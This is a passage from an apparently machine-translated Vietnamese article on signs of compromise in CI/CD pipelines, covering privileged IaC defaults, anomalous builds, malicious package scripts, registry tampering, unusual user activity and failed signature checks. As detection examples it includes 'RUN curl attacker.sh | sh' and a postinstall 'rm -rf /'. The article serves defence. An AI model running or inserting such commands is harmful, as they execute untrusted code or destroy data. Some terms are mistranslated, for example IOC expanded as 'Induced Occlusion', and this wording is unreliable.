10 dấu hiệu hàng đầu của sự thỏa hiệp trong CI/CD Pipelines

5. Privileged IaC Mặc định 

Các định nghĩa cơ sở hạ tầng được cấu hình sai thường tạo ra các cửa hậu ẩn. Kết quả là, các thiết lập mặc định có đặc quyền trong IaC Đây là một rủi ro an ninh mạng điển hình đối với IOC (Induced Occlusion - Chỉ báo xâm nhập).

Ví dụ:

• Một triển khai Kubernetes cấp quyền cho các pod privileged: true.
• Biểu đồ Helm hiển thị các dịch vụ với 0.0.0.0:22.

Va chạm: Kẻ tấn công giành được quyền truy cập cấp độ root hoặc công khai các dịch vụ nội bộ. Do đó, những vấn đề này làm tăng đáng kể bề mặt tấn công.
Phát hiện: Rắc bột IaC Quét để đảm bảo quyền hạn tối thiểu trước khi hợp nhất. Ngoài ra, hãy đảm bảo mọi cấu hình đều được xem xét như một phần của quy trình. pipeline.

6. Các hành vi xây dựng bất thường 

Kẻ tấn công thường thay đổi pipeline hành vi này có thể dẫn đến các hành động độc hại. Nói cách khác, hoạt động xây dựng bất thường là một trong những câu trả lời rõ ràng nhất cho câu hỏi "các dấu hiệu của sự xâm phạm là gì?". CI/CD pipelines.

Ví dụ:

• Các công cụ này thực hiện các yêu cầu mạng đi ra ngoài đến các tên miền lạ.
• Một dự án Node.js đột nhiên khởi chạy PowerShell trong quá trình thực thi. npm install.
• Một tác vụ CI đang tải xuống các tệp nhị phân lớn không được định nghĩa trong các tập lệnh xây dựng.

Va chạm: Các bản dựng bị xâm nhập có thể hoạt động như các điểm phát tán phần mềm độc hại. Trên hết, chúng lan truyền các phần mềm độc hại đến mọi hệ thống triển khai.
Phát hiện: Theo dõi nhật ký xây dựng để phát hiện các tiến trình hoặc kết nối bất thường. Hơn nữa, hãy cấu hình tính năng phát hiện bất thường để gắn cờ các hành vi nằm ngoài phạm vi bình thường.

7. Các tập lệnh gói độc hại như là rủi ro an ninh mạng IOC

Các trình quản lý gói hỗ trợ vòng đời sản phẩm hooks Đó là những lỗ hổng mà kẻ tấn công khai thác. Do đó, các đoạn mã độc hại trong npm, PyPI hoặc Dockerfile là những dấu hiệu mạnh mẽ cho thấy sự xâm nhập đã xảy ra.

Ví dụ:

• npm: postinstall đang chạy tập lệnh rm -rf / hoặc phát tín hiệu đến trung tâm chỉ huy và kiểm soát (C2).
• PyPI: setup.py Thực thi mã Python ẩn khi cài đặt.
• Tệp Docker: RUN curl attacker.sh | sh.

Va chạm: Cuộc tấn công được thực hiện trong quá trình cài đặt, trước khi bất kỳ thử nghiệm nào được thực thi trong thời gian chạy. Do đó, các nhà phát triển có thể không bao giờ nhận ra cho đến khi quá muộn.
Phát hiện: Quét các tệp kê khai gói để tìm các tập lệnh cài đặt. Ngoài ra, hãy hạn chế các rủi ro. hooks in CI/CD các công việc nhằm giảm thiểu sự tiếp xúc.

8. Các dấu hiệu xâm phạm dữ liệu đăng ký

Kẻ tấn công thay thế hoặc sửa đổi các thành phần trong registry, và những sự kiện này là ví dụ điển hình cho thấy dấu hiệu xâm phạm chuỗi cung ứng. pipelines.

Ví dụ:

• Thẻ ảnh Docker đã được cập nhật âm thầm với một lớp mã độc Trojan.
• Một gói phần mềm nội bộ đã bị thay thế bằng phiên bản bị nhiễm độc.
• Chiếm đoạt namespace npm, chẳng hạn như lodash-proxy.

Va chạm: Mọi bản dựng sử dụng artifact từ registry đều bị xâm phạm. Không chỉ vậy, sự xâm phạm còn lan rộng sang các dịch vụ hạ nguồn.
Phát hiện: Thực thi kiểm tra chữ ký và tính toàn vẹn đối với tất cả các thao tác truy xuất registry. Ngoài ra, theo dõi nguồn gốc của các artifact bằng cách sử dụng SBOM Thẩm định.

9. Hoạt động bất thường của người dùng như bằng chứng IOC

Các tài khoản bị xâm phạm hầu như luôn để lại những dấu vết bất thường. Do đó, hành vi bất thường của nhà phát triển là một dấu hiệu mạnh mẽ cho thấy sự xâm phạm quyền riêng tư.

Ví dụ:

• CommitĐã được đẩy vào lúc 3 giờ sáng giờ địa phương.
• Phê duyệt thông cáo báo chí từ các tài khoản đang trong kỳ nghỉ.
• Pipelineđược kích hoạt với tần suất bất thường.

Va chạm: Kẻ tấn công lợi dụng thông tin đăng nhập bị đánh cắp để chèn các thay đổi độc hại. Xét cho cùng, việc truy cập trái phép là bất hợp pháp. commitChúng dễ dàng hòa nhập vào quy trình làm việc thông thường.
Phát hiện: Màn Hình SCM Thực hiện các hoạt động để phát hiện bất thường, bắt buộc xác thực đa yếu tố (MFA) và xoay vòng mã thông báo thường xuyên. Ngoài ra, hãy cảnh báo về các hoạt động đáng ngờ. commit hoặc các mô hình phê duyệt.

10. Các lỗi kiểm tra tính toàn vẹn hoặc chữ ký trong an ninh mạng IOC

Một vấn đề phổ biến nhưng thường bị bỏ qua chỉ báo về sự thỏa hiệp Đây là lỗi kiểm tra tính toàn vẹn hoặc chữ ký. Trong an ninh mạng IOC, các kiểm tra này xác minh tính xác thực của mã hoặc các thành phần. Bỏ qua chúng sẽ dẫn đến lỗi. pipelinebị lộ rồi.

Ví dụ:

• Mã băm SHA256 không khớp với tổng kiểm tra dự kiến.
• Chữ ký GPG bị thiếu hoặc không hợp lệ.
• An SBOM Hiển thị các hiện vật chưa được ký tên.

Va chạm: Các lỗi về tính toàn vẹn thường có nghĩa là do can thiệp trái phép, làm nhiễm độc registry hoặc tiêm phần mềm độc hại.

Phát hiện: Tự động hóa việc kiểm tra chữ ký, thực thi xác thực tổng kiểm tra và chặn các thành phần không có chữ ký. Trên hết, hãy coi mỗi lần kiểm tra thất bại là bằng chứng rõ ràng về sự xâm phạm.